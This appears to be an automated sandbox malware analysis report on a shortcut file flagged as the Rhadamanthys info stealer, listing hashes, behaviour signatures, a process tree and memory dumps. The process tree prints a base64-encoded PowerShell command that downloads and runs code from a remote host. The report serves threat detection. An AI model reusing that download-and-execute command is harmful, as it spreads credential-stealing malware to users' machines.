Analysis

  • max time kernel
    147s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240221-en
  • resource tags

    arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    05-04-2024 07:44

General

  • Target

    6391-BST-SH.lnk

  • Size

    11KB

  • MD5

    adf7c3664cea2c5ea0b0bed6092f782d

  • SHA1

    19d4c09d6a55b327fe7853da16ef259ccbb39635

  • SHA256

    ab77586e8f74d90236f06107b0cd965c7a2d78cc978c56ccf047e17bcefb8d46

  • SHA512

    f94c74b4b0dc049059c651e8b68a2b5b73f080c41bd9b2d7aa017010ecc9c6dcd8cb02508643ca54e6a0c07fa9294ad99d5bf5b242be4f5cbb01af13ce3e330f

  • SSDEEP

    192:8z54h/WKdqhSsL4QuOdU4vAOtV01NUzfmQLZbicaNO6aBhOiHm6vepsM77+F/dK:u5c/5LQTKMt6UzfmQdbi/w6MhO1GelOq

Score
10/10

Malware Config

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:3004
      • C:\Windows\system32\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2720
    • C:\Windows\system32\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\6391-BST-SH.lnk
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:824
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwB2AGkAegBpAGoAYQAzADYAMAAuAGwAdAAvAGQAbwBjAC4AdAB4AHQAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0ACAAfAAgAGkATgB2AE8AawBFAC0ARQB4AFAAcgBlAFMAcwBpAE8AbgA=
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3760

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pmrw2nlz.dxo.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2720-40-0x00007FFA3A660000-0x00007FFA3A869000-memory.dmp

      Filesize

      2.0MB

    • memory/2720-39-0x000001E4BA2A0000-0x000001E4BA6A0000-memory.dmp

      Filesize

      4.0MB

    • memory/2720-36-0x00007FFA397E0000-0x00007FFA3989D000-memory.dmp

      Filesize

      756KB

    • memory/2720-37-0x000001E4BA2A0000-0x000001E4BA6A0000-memory.dmp

      Filesize

      4.0MB

    • memory/2720-38-0x00007FFA37E00000-0x00007FFA38174000-memory.dmp

      Filesize

      3.5MB

    • memory/2720-35-0x00007FFA3A660000-0x00007FFA3A869000-memory.dmp

      Filesize

      2.0MB

    • memory/2720-32-0x000001E4BA2A0000-0x000001E4BA6A0000-memory.dmp

      Filesize

      4.0MB

    • memory/2720-25-0x000001E4B87B0000-0x000001E4B87B9000-memory.dmp

      Filesize

      36KB

    • memory/3760-21-0x00007FFA3A660000-0x00007FFA3A869000-memory.dmp

      Filesize

      2.0MB

    • memory/3760-31-0x000001F0FBBE0000-0x000001F0FBFE0000-memory.dmp

      Filesize

      4.0MB

    • memory/3760-20-0x000001F0FBBE0000-0x000001F0FBFE0000-memory.dmp

      Filesize

      4.0MB

    • memory/3760-19-0x000001F0FBBE0000-0x000001F0FBFE0000-memory.dmp

      Filesize

      4.0MB

    • memory/3760-22-0x000001F0FBBE0000-0x000001F0FBFE0000-memory.dmp

      Filesize

      4.0MB

    • memory/3760-23-0x00007FFA397E0000-0x00007FFA3989D000-memory.dmp

      Filesize

      756KB

    • memory/3760-18-0x000001F0FBBC0000-0x000001F0FBBD0000-memory.dmp

      Filesize

      64KB

    • memory/3760-24-0x00007FFA37E00000-0x00007FFA38174000-memory.dmp

      Filesize

      3.5MB

    • memory/3760-29-0x00007FFA3A660000-0x00007FFA3A869000-memory.dmp

      Filesize

      2.0MB

    • memory/3760-17-0x000001F0FBBE0000-0x000001F0FBFE0000-memory.dmp

      Filesize

      4.0MB

    • memory/3760-16-0x000001F0FBBC0000-0x000001F0FBBD0000-memory.dmp

      Filesize

      64KB

    • memory/3760-15-0x000001F0FBB60000-0x000001F0FBBBE000-memory.dmp

      Filesize

      376KB

    • memory/3760-34-0x00007FFA197C0000-0x00007FFA1A282000-memory.dmp

      Filesize

      10.8MB

    • memory/3760-14-0x000001F0FABB0000-0x000001F0FABC0000-memory.dmp

      Filesize

      64KB

    • memory/3760-13-0x000001F0FABB0000-0x000001F0FABC0000-memory.dmp

      Filesize

      64KB

    • memory/3760-12-0x000001F0FABB0000-0x000001F0FABC0000-memory.dmp

      Filesize

      64KB

    • memory/3760-10-0x000001F0FB6E0000-0x000001F0FB702000-memory.dmp

      Filesize

      136KB

    • memory/3760-11-0x00007FFA197C0000-0x00007FFA1A282000-memory.dmp

      Filesize

      10.8MB